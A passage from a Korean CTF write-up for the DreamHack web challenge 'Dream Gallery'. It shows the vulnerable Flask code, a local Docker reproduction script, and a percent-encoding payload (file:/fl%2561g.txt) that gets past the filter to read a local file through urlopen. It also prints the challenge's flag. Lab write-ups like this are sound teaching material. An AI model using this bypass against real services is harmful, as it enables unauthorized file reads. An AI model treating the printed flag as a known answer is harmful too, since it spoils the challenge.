[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด

2026-07-30ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด

URL์„ ๋ฐ›์•„ ์ด๋ฏธ์ง€๋ฅผ ๊ฐ€์ ธ์™€ ์ฃผ๋Š” ๊ฐค๋Ÿฌ๋ฆฌ. urlopen ์•ž์— ํ•„ํ„ฐ๊ฐ€ ์„ธ ๊ฒน ์žˆ๋Š”๋ฐ, file:// ์ ‘๋‘์–ด ๊ฒ€์‚ฌ๋Š” ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ์ค„์ด๋ฉด ๋น—๋‚˜๊ฐ€๊ณ  flag ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ๋Š” ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์œผ๋กœ ๋น—๋‚˜๊ฐ„๋‹ค. Flask๊ฐ€ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ํ•œ ๋ฒˆ ํ’€๊ณ  url2pathname์ด ๋˜ ํ•œ ๋ฒˆ ํ’€๊ธฐ ๋•Œ๋ฌธ์—, ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฌธ์ž์—ด๊ณผ open์— ๋„๋‹ฌํ•˜๋Š” ๊ฒฝ๋กœ๊ฐ€ ์• ์ดˆ์— ๊ฐ™์ง€ ์•Š๋‹ค.

๋ฌธ์ œ: DreamHack ์›Œ๊ฒŒ์ž„ โ€” Dream Gallery (id 552) ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 1 FLAG: DH{b2037a026b40cc98804e91b5a2a07f54}

์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ๊ฐ€์ ธ์™€ ๊ฐค๋Ÿฌ๋ฆฌ์— ๊ฑธ์–ด ์ฃผ๋Š” ์‚ฌ์ดํŠธ๋‹ค. ๋ฌธ์ œ ์„ค๋ช…๋„ ๊ณง์žฅ "์™ธ๋ถ€๋กœ ์š”์ฒญํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์•ˆ์ „ํ•œ ๊ฑด์ง€ ๋ชจ๋ฅด๊ฒ ๋‹ค"๊ณ  ๋งํ•˜๊ณ  ์žˆ์–ด์„œ, ๋ฌด์—‡์„ ๋ด์•ผ ํ•˜๋Š”์ง€๋Š” ์ฒ˜์Œ๋ถ€ํ„ฐ ๋ถ„๋ช…ํ•˜๋‹ค. ์žฌ๋ฏธ์žˆ๋Š” ๋ถ€๋ถ„์€ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ํ•„ํ„ฐ ์„ธ ๊ฒน์„ ํ•œ ๋ฒˆ์— ๋น ์ ธ๋‚˜๊ฐ€๋Š” ๋ฌธ์ž์—ด ํ•˜๋‚˜๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด์—ˆ๋‹ค.

Dream Gallery ๊ฐค๋Ÿฌ๋ฆฌ ๋ทฐ์–ด. ๊ธฐ๋ณธ ์„ ๊ธ€๋ผ์Šค ๋„ท์ด base64๋กœ ์ธ๋ผ์ธ๋˜์–ด ์žˆ๋‹ค. flagcarrier ํ•ญ๋ชฉ์€ ์ด ์บก์ณ๋ฅผ ์ฐ๊ธฐ ์ „์— ์ด๋ฏธ ํ•œ ๋ฒˆ ํšŒ์ˆ˜ํ•ด ๋ณธ ํ”์ ์ด๋‹ค.
Dream Gallery ๊ฐค๋Ÿฌ๋ฆฌ ๋ทฐ์–ด. ๊ธฐ๋ณธ ์„ ๊ธ€๋ผ์Šค ๋„ท์ด base64๋กœ ์ธ๋ผ์ธ๋˜์–ด ์žˆ๋‹ค. flagcarrier ํ•ญ๋ชฉ์€ ์ด ์บก์ณ๋ฅผ ์ฐ๊ธฐ ์ „์— ์ด๋ฏธ ํ•œ ๋ฒˆ ํšŒ์ˆ˜ํ•ด ๋ณธ ํ”์ ์ด๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Dream Gallery
๋‚œ์ด๋„๐Ÿฅˆ Silver 1
๋ถ„๋ฅ˜web
์ œ๊ณต ํŒŒ์ผapp.py (64์ค„), Dockerfile (17์ค„) โ€” templates/ยทstatic/ ์€ ์—†๋‹ค
์ŠคํƒFlask + urllib.request.urlopen, Python 3.10, tiangolo/uwsgi-nginx-flask ์ด๋ฏธ์ง€
ํ”Œ๋ž˜๊ทธ ์œ„์น˜์ปจํ…Œ์ด๋„ˆ ๋ฃจํŠธ /flag.txt (chmod 444)
ํ•ต์‹ฌ ์ทจ์•ฝ์ urlopen์— ์‚ฌ์šฉ์ž URL์„ ๊ทธ๋Œ€๋กœ ๋„˜๊ฒจ file ์Šคํ‚ด์œผ๋กœ ๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ (SSRF โ†’ LFI)
์šฐํšŒํ•œ ํ•„ํ„ฐurl.startswith("file://"), "flag" in url, ๊ทธ๋ฆฌ๊ณ  ๊ทธ ์•ž์˜ .lower()

๊ณต๊ฒฉ ํ๋ฆ„์€ ์„ธ ์ค„์ด๋ฉด ๋๋‚œ๋‹ค. /request์— url=file:/fl%2561g.txt๋ฅผ ๋ณด๋‚ด๋ฉด ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•˜๊ณ , urlopen์ด /flag.txt๋ฅผ ์—ด์–ด ์ฝ๊ณ , ๊ทธ ๋ฐ”์ดํŠธ๊ฐ€ base64๋กœ ์ธ์ฝ”๋”ฉ๋˜์–ด /view์˜ img ํƒœ๊ทธ ์•ˆ์— ๊ทธ๋Œ€๋กœ ๋ฐ•ํžŒ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์—์„œ ๊นจ์ง„ ์ด๋ฏธ์ง€๋กœ ๋ณด์ด๋Š” ๊ทธ ํ•ญ๋ชฉ์ด ํ”Œ๋ž˜๊ทธ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” urlopen์€ http ์ „์šฉ ํ•จ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋‹ค

requests.get๋งŒ ์“ฐ๋‹ค ๋ณด๋ฉด ์žŠ๊ธฐ ์‰ฌ์šด๋ฐ, urllib.request.urlopen์€ ์—ฌ๋Ÿฌ ์Šคํ‚ด์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋””์ŠคํŒจ์ฒ˜๋‹ค. ์—ด์–ด ๋ณด๋ฉด ํ•ธ๋“ค๋Ÿฌ ๋ชฉ๋ก์ด ์ด๋ ‡๊ฒŒ ๋“ฑ๋ก๋˜์–ด ์žˆ๋‹ค.

# CPython urllib/request.py โ€” build_opener() ์•ˆ์˜ ๊ธฐ๋ณธ ํ•ธ๋“ค๋Ÿฌ ๋ชฉ๋ก.
# ๋ฌธ์ œ์™€ ๊ฐ™์€ 3.10 ์ปจํ…Œ์ด๋„ˆ์—์„œ inspect.getsource(urllib.request.build_opener) ๋กœ ๋ฝ‘์•˜๋‹ค.
    default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
                       HTTPDefaultErrorHandler, HTTPRedirectHandler,
                       FTPHandler, FileHandler, HTTPErrorProcessor,
                       DataHandler]

HTTPHandler ์˜†์— FTPHandler, FileHandler, DataHandler๊ฐ€ ๋‚˜๋ž€ํžˆ ์žˆ๋‹ค. ์ฆ‰ urlopen("ftp://..."), urlopen("file:///etc/passwd"), urlopen("data:text/plain,hi")๊ฐ€ ์ „๋ถ€ ๋™์ž‘ํ•œ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ด ํ•จ์ˆ˜์— ๊ทธ๋Œ€๋กœ ๋„˜๊ธฐ๋ฉด "์™ธ๋ถ€๋กœ ๋‚˜๊ฐ€๋Š” ์š”์ฒญ"๋งŒ ์—ด์–ด ์ค€ ๊ฒŒ ์•„๋‹ˆ๋ผ ๋กœ์ปฌ ํŒŒ์ผ์‹œ์Šคํ…œ ์ฝ๊ธฐ๊นŒ์ง€ ๊ฐ™์ด ์—ด์–ด ์ค€ ๊ฒƒ์ด๋‹ค. ๋ฌธ์ œ ์ œ๋ชฉ์ด ๊ฐค๋Ÿฌ๋ฆฌ์ธ๋ฐ ์ •๋‹ต์ด LFI์ธ ์ด์œ ๊ฐ€ ์—ฌ๊ธฐ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ๋ฌธ์ œ์˜ ๋‘ ๋ฒˆ์งธ ์—ด์‡ ๋Š” URI ๋ฌธ๋ฒ• ์ชฝ์— ์žˆ๋‹ค. scheme://host/path๊ฐ€ ์ •์„์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, RFC 3986์—์„œ //๋กœ ์‹œ์ž‘ํ•˜๋Š” authority ๋ถ€๋ถ„์€ ์„ ํƒ์ด๋‹ค.

URI ๋ฌธ๋ฒ• ์ฒ ๋„ ๋‹ค์ด์–ด๊ทธ๋žจ. scheme์™€ ์ฝœ๋ก  ๋’ค์—์„œ ๋‘ ์Šฌ๋ž˜์‹œ๋กœ ์‹œ์ž‘ํ•˜๋Š” authority ๊ตฌ๊ฐ„์€ ์„ ํƒ ๋ถ„๊ธฐ์ด๋ฉฐ, ๊ฑด๋„ˆ๋›ฐ๊ณ  ๊ณง๋ฐ”๋กœ path๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค.
URI ๋ฌธ๋ฒ• ์ฒ ๋„ ๋‹ค์ด์–ด๊ทธ๋žจ. scheme์™€ ์ฝœ๋ก  ๋’ค์—์„œ ๋‘ ์Šฌ๋ž˜์‹œ๋กœ ์‹œ์ž‘ํ•˜๋Š” authority ๊ตฌ๊ฐ„์€ ์„ ํƒ ๋ถ„๊ธฐ์ด๋ฉฐ, ๊ฑด๋„ˆ๋›ฐ๊ณ  ๊ณง๋ฐ”๋กœ path๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค.

์ถœ์ฒ˜: Wikimedia Commons, Alhadis, CC BY-SA 4.0

๊ทธ๋ฆผ์—์„œ scheme โ†’ : ๋‹ค์Œ์˜ ๊ฐˆ๋ฆผ๊ธธ์„ ๋ณด๋ฉด ๋œ๋‹ค. //๋ฅผ ์ง€๋‚˜ host๋กœ ๊ฐ€๋Š” ๊ธธ๊ณผ, ๊ทธ๊ฑธ ๊ฑด๋„ˆ๋›ฐ๊ณ  ๊ณง์žฅ path๋กœ ๊ฐ€๋Š” ๊ธธ์ด ๋‘˜ ๋‹ค ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ file:/flag.txt๋Š” ์˜คํƒ€๊ฐ€ ์•„๋‹ˆ๋ผ ๋ฌธ๋ฒ•์ ์œผ๋กœ ์ •์ƒ์ธ URI์ด๊ณ , file:///flag.txt์™€ ๊ฐ™์€ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์Šฌ๋ž˜์‹œ ๊ฐœ์ˆ˜๋งŒ ๋‹ค๋ฅด๋‹ค.

์ด ๋‘ ๊ฐ€์ง€๋ฅผ ์•Œ๊ณ  ๋‚˜๋ฉด ๋ฌธ์ œ์˜ ํ•„ํ„ฐ๊ฐ€ ์™œ ๋ชป ๋ง‰๋Š”์ง€ ๋ณด์ธ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ํ•„ํ„ฐ๊ฐ€ ๋‹ค ๋“ค์–ด ์žˆ๋Š” ์—ด์„ธ ์ค„

๋ฐฐํฌ๋ณธ์€ app.py์™€ Dockerfile ๋”ฑ ๋‘ ๊ฐœ๋‹ค. templates/๋„ static/๋„ ์—†๋‹ค (Dockerfile์€ ADD ./deploy/templates /app/templates๋กœ ๋„ฃ์ง€๋งŒ zip์—๋Š” ์—†๋‹ค). ๊ทธ๋ž˜์„œ ํ™”๋ฉด ๊ตฌ์„ฑ์€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ๋ณด๊ณ  ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๋ฌธ์ œ์˜ ์—”๋“œํฌ์ธํŠธ๋งŒ ์ž˜๋ผ ๋ณด๋ฉด ์ด๋ ‡๋‹ค.

nl -ba extracted/app.py | sed -n "16,29p"

nl๊ณผ sed๋กœ app.py์˜ 16~29ํ–‰๋งŒ ์ž˜๋ผ๋‚ธ ํ™”๋ฉด. 18ํ–‰์˜ lower ํ˜ธ์ถœ, 20ํ–‰์˜ ์„ธ ์กฐ๊ฑด, 24ํ–‰์˜ urlopen ํ˜ธ์ถœ์ด ๋ชจ๋‘ ๋ณด์ธ๋‹ค.
nl๊ณผ sed๋กœ app.py์˜ 16~29ํ–‰๋งŒ ์ž˜๋ผ๋‚ธ ํ™”๋ฉด. 18ํ–‰์˜ lower ํ˜ธ์ถœ, 20ํ–‰์˜ ์„ธ ์กฐ๊ฑด, 24ํ–‰์˜ urlopen ํ˜ธ์ถœ์ด ๋ชจ๋‘ ๋ณด์ธ๋‹ค.

ํ•œ ์ค„์”ฉ ๋œฏ์–ด ๋ณด์ž.

@app.route('/request')
def url_request():
    url = request.args.get('url', '').lower()          # โ† ์†Œ๋ฌธ์ž๋กœ ๋ˆ•ํžŒ๋‹ค
    title = request.args.get('title', '')
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')         # โ† ๊ฑธ๋ฆฌ๋ฉด ํผ๋งŒ ๋˜๋Œ๋ ค์ค€๋‹ค
 
    try:
        data = urlopen(url).read()                     # โ† ์—ฌ๊ธฐ๋กœ ๋“ค์–ด๊ฐ€๋ฉด ๋
        mini_database.append({title: base64.b64encode(data).decode('utf-8')})
        return redirect(url_for('view'))
    except:
        return render_template("request.html")

๊ด€๋ฌธ์€ ๋„ค ๊ฐœ๋‹ค.

์กฐ๊ฑด๋ง‰์œผ๋ ค๋Š” ๊ฒƒ์‹ค์ œ ํšจ๊ณผ
.lower()FILE:// ๊ฐ™์€ ๋Œ€์†Œ๋ฌธ์ž ์šฐํšŒ๋Œ€์†Œ๋ฌธ์ž ํŠธ๋ฆญ์€ ์ „๋ถ€ ์ฃฝ๋Š”๋‹ค
url == ''๋นˆ ์š”์ฒญ์šฐํšŒ ๋Œ€์ƒ ์•„๋‹˜
url.startswith("file://")๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ์ ‘๋‘์–ด๋งŒ ๋ณธ๋‹ค
"flag" in urlํ”Œ๋ž˜๊ทธ ํŒŒ์ผ ์ง€๋ชฉ๋ถ€๋ถ„ ๋ฌธ์ž์—ด๋งŒ ๋ณธ๋‹ค

์„ธ ๋ฒˆ์งธ์™€ ๋„ค ๋ฒˆ์งธ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋‘˜ ๋‹ค ๋ฌธ์ž์—ด ๊ทธ ์ž์ฒด๋ฅผ ๋ณผ ๋ฟ, ๊ทธ ๋ฌธ์ž์—ด์ด ๋‚˜์ค‘์— ์–ด๋–ค ๊ฒฝ๋กœ๋กœ ๋ณ€ํ™˜๋˜๋Š”์ง€๋Š” ๋ณด์ง€ ์•Š๋Š”๋‹ค.

title์—๋Š” ์•„๋ฌด ํ•„ํ„ฐ๊ฐ€ ์—†๋‹ค. ๋‚˜์ค‘์— ๊ฐค๋Ÿฌ๋ฆฌ์—์„œ ์–ด๋А ํ•ญ๋ชฉ์ด ๋‚ด ๊ฒƒ์ธ์ง€ ์ฐพ๊ธฐ ํŽธํ•˜๋„๋ก ์•Œ์•„๋ณด๊ธฐ ์‰ฌ์šด ์ œ๋ชฉ์„ ๋ถ™์ด๋ฉด ๋œ๋‹ค.

๊ธฐ๋Šฅ ํ™”๋ฉด์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค. ์ž…๋ ฅ์นธ์ด URL๊ณผ ์ œ๋ชฉ ๋‘˜๋ฟ์ด๋ผ ์‹œ๋„ํ•ด ๋ณผ ์กฐํ•ฉ์ด ๋งŽ์ง€ ์•Š๋‹ค.

๋ผ์ด๋ธŒ ์„œ๋ฒ„์˜ ์ด๋ฏธ์ง€ ๊ฐ€์ ธ์˜ค๊ธฐ ํผ. URL ์ž…๋ ฅ์นธ๊ณผ ์ด๋ฏธ์ง€ ์ œ๋ชฉ ์ž…๋ ฅ์นธ, ์š”์ฒญ ๋ฒ„ํŠผ๋งŒ ์žˆ๋Š” ๋‹จ์ˆœํ•œ ํ™”๋ฉด์ด๋‹ค.
๋ผ์ด๋ธŒ ์„œ๋ฒ„์˜ ์ด๋ฏธ์ง€ ๊ฐ€์ ธ์˜ค๊ธฐ ํผ. URL ์ž…๋ ฅ์นธ๊ณผ ์ด๋ฏธ์ง€ ์ œ๋ชฉ ์ž…๋ ฅ์นธ, ์š”์ฒญ ๋ฒ„ํŠผ๋งŒ ์žˆ๋Š” ๋‹จ์ˆœํ•œ ํ™”๋ฉด์ด๋‹ค.

์ฝ์€ ๋ฐ”์ดํŠธ๊ฐ€ ์–ด๋””๋กœ ๊ฐ€๋Š”์ง€๋„ ๋ฏธ๋ฆฌ ํ™•์ธํ•ด ๋‘๋ฉด ์ข‹๋‹ค. base64.b64encode(data)๊ฐ€ mini_database์— ์Œ“์ด๊ณ  /view ํ…œํ”Œ๋ฆฟ์ด ๊ทธ๊ฒƒ์„ data:image/png;base64,...๋กœ ๊ฐ์•„ img ํƒœ๊ทธ์— ๋„ฃ๋Š”๋‹ค. ํ”Œ๋ž˜๊ทธ๋Š” PNG๊ฐ€ ์•„๋‹ˆ๋ฏ€๋กœ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” ๊นจ์ง„ ์ด๋ฏธ์ง€ ์•„์ด์ฝ˜์œผ๋กœ ๋ณด์ธ๋‹ค. ๊ทธ๋ฆผ์ด ์•ˆ ๋‚˜์˜จ๋‹ค๊ณ  ์‹คํŒจํ•œ ๊ฒŒ ์•„๋‹ˆ๋ผ, ๊ทธ ์ž๋ฆฌ์— ํ…์ŠคํŠธ๊ฐ€ ๋“ค์–ด ์žˆ๋Š” ๊ฒƒ์ด๋‹ค.


๐Ÿงช ๋กœ์ปฌ ์žฌํ˜„ โ€” ๋ฐฐํฌ๋ณธ Dockerfile ์„ ๊ทธ๋Œ€๋กœ ์„ธ์šด๋‹ค

๋ผ์ด๋ธŒ ์„œ๋ฒ„๋ฅผ ์ผœ๊ธฐ ์ „์— ๋กœ์ปฌ์—์„œ ๋‹ค ๋๋‚ด ๋‘๋Š” ํŽธ์ด ๋‚ซ๋‹ค. ํ•„ํ„ฐ๋ฅผ ๋ช‡ ๋ฒˆ์ด๋‚˜ ์ฐ”๋Ÿฌ ๋ด์•ผ ํ•˜๋Š”๋ฐ, ๊ทธ๊ฑธ ๋ฌธ์ œ ์„œ๋ฒ„์— ํ•˜๊ณ  ์‹ถ์ง€ ์•Š์•˜๋‹ค.

๋ฐฐํฌ๋ณธ Dockerfile์€ ๊ทธ๋Œ€๋กœ ์“ธ ์ˆ˜ ์žˆ๋‹ค. ๋น ์ง„ templates/, static/๋งŒ app.py๊ฐ€ ์“ฐ๋Š” ๋ฐฉ์‹(img_list๊ฐ€ {์ œ๋ชฉ: base64} ๋”•์…”๋„ˆ๋ฆฌ์˜ ๋ฆฌ์ŠคํŠธ)์— ๋งž์ถฐ ์ตœ์†Œํ•œ์œผ๋กœ ์ฑ„์› ๊ณ , flag.txt์—๋Š” ๋‹น์—ฐํžˆ ๋”๋ฏธ๋ฅผ ๋„ฃ์—ˆ๋‹ค.

#!/usr/bin/env bash
# Dream Gallery โ€” ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ ๊ตฌ์ถ•. ๋ฐฐํฌ๋ณธ Dockerfile ์„ ๊ทธ๋Œ€๋กœ ์“ฐ๊ณ ,
# zip ์— ์—†๋Š” templates/static ๋งŒ app.py ์˜ ์‚ฌ์šฉ๋ฒ•์— ๋งž์ถฐ ์ตœ์†Œ๋กœ ์ฑ„์šด ๊ฒƒ์ด๋‹ค.
# flag.txt ๋Š” ๋‹น์—ฐํžˆ ๋”๋ฏธ(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}).
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
docker build -q -t dream-gallery-local:latest local/
docker rm -f dream-gallery-local >/dev/null 2>&1 || true
docker run -d --name dream-gallery-local -p 8552:80 dream-gallery-local:latest >/dev/null
 
for _ in $(seq 20); do
  code=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:8552/view || true)
  [ "$code" = "200" ] && break
  sleep 1
done
 
echo "container : $(docker inspect -f '{{.State.Status}}' dream-gallery-local)"
echo "python    : $(docker exec dream-gallery-local python3 -V)"
echo "flag.txt  : $(docker exec dream-gallery-local ls -l /flag.txt)"
echo "GET /view : HTTP $code"

build_local.sh ์‹คํ–‰ ํ™”๋ฉด. ์ปจํ…Œ์ด๋„ˆ๊ฐ€ running ์ƒํƒœ์ด๊ณ  Python 3.10.20, flag.txt ๊ถŒํ•œ 444, GET /view๊ฐ€ HTTP 200์œผ๋กœ ํ™•์ธ๋œ๋‹ค.
build_local.sh ์‹คํ–‰ ํ™”๋ฉด. ์ปจํ…Œ์ด๋„ˆ๊ฐ€ running ์ƒํƒœ์ด๊ณ  Python 3.10.20, flag.txt ๊ถŒํ•œ 444, GET /view๊ฐ€ HTTP 200์œผ๋กœ ํ™•์ธ๋œ๋‹ค.

ํŒŒ์ด์ฌ ๋ฒ„์ „์„ ํ™•์ธํ•œ ์ด์œ ๊ฐ€ ์žˆ๋‹ค. urllib์˜ file ์Šคํ‚ด ์ฒ˜๋ฆฌ๋Š” ๋ฒ„์ „์— ๋”ฐ๋ผ ์†์ด ๋“ค์–ด๊ฐ„ ์ ์ด ์žˆ์–ด์„œ, ๋‚ด ๋ฐ์Šคํฌํ†ฑ(3.13)์—์„œ ๋˜๋Š” ๊ฒŒ ๋ฌธ์ œ ํ™˜๊ฒฝ(3.10)์—์„œ๋„ ๋œ๋‹ค๋Š” ๋ณด์žฅ์ด ์—†๋‹ค. ์ปจํ…Œ์ด๋„ˆ๊ฐ€ 3.10.20์ด๋ผ๋Š” ๊ฑธ ๋ˆˆ์œผ๋กœ ๋ณด๊ณ  ๋‚˜์„œ์•ผ ๊ทธ ์•ˆ์—์„œ ์‹คํ—˜ํ–ˆ๋‹ค.



๐Ÿ› ์‚ฝ์งˆ โ€” ํ•œ ๊ฒน์”ฉ ๋ฒ—๊ฒจ ๋ณด๋ฉฐ ํ™•์ธํ•œ ๊ฒƒ๋“ค

์šฐํšŒ ํ›„๋ณด๋ฅผ ํ•˜๋‚˜์”ฉ ๋„ฃ์–ด ๋ณด๋ฉฐ ์–ด๋””์„œ ๊ฑธ๋ฆฌ๋Š”์ง€ ํ™•์ธํ–ˆ๋‹ค. ์†Œ์Šค๋ฅผ ์ฝ์—ˆ์œผ๋‹ˆ ์ฒ˜์Œ ๋‘ ๊ฐœ๋Š” ๋ง‰ํž ๊ฑธ ์•Œ๋ฉด์„œ ๋„ฃ์€ ๊ฒƒ์ธ๋ฐ, ๋ง‰ํ˜”์„ ๋•Œ ์„œ๋ฒ„๊ฐ€ ๋ฌด์—‡์„ ๋Œ๋ ค์ฃผ๋Š”์ง€๋ฅผ ๋จผ์ € ๋ด ๋‘ฌ์•ผ ์ดํ›„ ์‹คํ—˜ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค. ์„ธ ๋ฒˆ์งธ๋Š” ์˜ˆ์ƒ๊ณผ ๋‹ฌ๋ผ์„œ ๋”ฐ๋กœ ์ธก์ •ํ•ด์•ผ ํ–ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” ์ •๊ณต๋ฒ• file:///flag.txt ๋Š” ์ ‘๋‘์–ด์—์„œ ๊ฑธ๋ฆฐ๋‹ค

์ •์„๋Œ€๋กœ file:///flag.txt๋ถ€ํ„ฐ.

๋ผ์ด๋ธŒ ํผ์˜ URL ์นธ์— file:///flag.txt๋ฅผ, ์ œ๋ชฉ ์นธ์— flag๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ „์†ก ์ง์ „ ์ƒํƒœ.
๋ผ์ด๋ธŒ ํผ์˜ URL ์นธ์— file:///flag.txt๋ฅผ, ์ œ๋ชฉ ์นธ์— flag๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ „์†ก ์ง์ „ ์ƒํƒœ.

์ „์†กํ•˜๋ฉด ์ฃผ์†Œ์ฐฝ์—๋Š” ์š”์ฒญ์ด ๊ฐ”๋‹ค๋Š” ํ”์ ์ด ๋‚จ๋Š”๋ฐ ํ™”๋ฉด์€ ๋นˆ ํผ์œผ๋กœ ๋˜๋Œ์•„์˜จ๋‹ค. return render_template('request.html')์„ ํƒ„ ๊ฒƒ์ด๋‹ค.

์ „์†ก ํ›„ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์—๋Š” ์ธ์ฝ”๋”ฉ๋œ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์ด ๋‚จ์•„ ์žˆ์ง€๋งŒ ๋ณธ๋ฌธ์€ ๋นˆ ์ž…๋ ฅ ํผ์œผ๋กœ ๋˜๋Œ์•„์™€ ์žˆ๋‹ค.
์ „์†ก ํ›„ ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์—๋Š” ์ธ์ฝ”๋”ฉ๋œ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์ด ๋‚จ์•„ ์žˆ์ง€๋งŒ ๋ณธ๋ฌธ์€ ๋นˆ ์ž…๋ ฅ ํผ์œผ๋กœ ๋˜๋Œ์•„์™€ ์žˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์•Œ์•„ ๋‘˜ ๊ฒŒ ํ•˜๋‚˜ ์žˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์‹คํŒจํ•ด๋„ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ์ฃผ์ง€ ์•Š๋Š”๋‹ค. except: ๋กœ ๋ญ‰๊ฐœ ๋†“์•˜๊ธฐ ๋•Œ๋ฌธ์— "ํ•„ํ„ฐ์— ๊ฑธ๋ฆฐ ๊ฒƒ"๊ณผ "urlopen์ด ์˜ˆ์™ธ๋ฅผ ๋‚ธ ๊ฒƒ"์ด ํ™”๋ฉด์ƒ ๊ตฌ๋ถ„๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ฒฝ๋กœ๋ฅผ ์ž˜๋ชป ์ผ๋Š”์ง€ ํ•„ํ„ฐ์— ๋ง‰ํ˜”๋Š”์ง€ ํ™”๋ฉด๋งŒ ๋ณด๊ณ ๋Š” ๋ชจ๋ฅธ๋‹ค.

๊ทธ๋ž˜์„œ ๋’ค์—์„œ ์ƒํƒœ์ค„๋กœ ํŒ์ •ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋กœ ๋งŒ๋“ค์—ˆ๋‹ค. ํ™”๋ฉด ๋Œ€์‹  200์ด๋ƒ 302๋ƒ๋ฅผ ๋ณธ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” ์Šฌ๋ž˜์‹œ๋งŒ ์ค„์—ฌ๋„ ์ด๋ฒˆ์—” flag ๋ผ๋Š” ๋„ค ๊ธ€์ž๊ฐ€ ๊ฑธ๋ฆฐ๋‹ค

startswith("file://")์€ ์ ‘๋‘์–ด๋งŒ ๋ณด๋‹ˆ๊นŒ ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ์ง€์šด๋‹ค. file:/flag.txt.

URL ์นธ์— file:/flag.txt๋ฅผ ๋„ฃ๊ณ  ์ „์†กํ•œ ๊ฒฐ๊ณผ. ์ฃผ์†Œ์ฐฝ์˜ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์€ ๋ฐ”๋€Œ์—ˆ์ง€๋งŒ ํ™”๋ฉด์€ ์—ฌ์ „ํžˆ ๋นˆ ํผ์ด๋‹ค.
URL ์นธ์— file:/flag.txt๋ฅผ ๋„ฃ๊ณ  ์ „์†กํ•œ ๊ฒฐ๊ณผ. ์ฃผ์†Œ์ฐฝ์˜ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์€ ๋ฐ”๋€Œ์—ˆ์ง€๋งŒ ํ™”๋ฉด์€ ์—ฌ์ „ํžˆ ๋นˆ ํผ์ด๋‹ค.

๋˜ ๋นˆ ํผ์ด๋‹ค. ์กฐ๊ฑด์ด or๋กœ ์ด์–ด์ ธ ์žˆ์œผ๋‹ˆ ์ ‘๋‘์–ด๋ฅผ ํ”ผํ•ด๋„ "flag" in url์ด ๋‚จ๋Š”๋‹ค. ๋‘ ๊ด€๋ฌธ์„ ๋™์‹œ์— ๋„˜์–ด์•ผ ํ•œ๋‹ค.

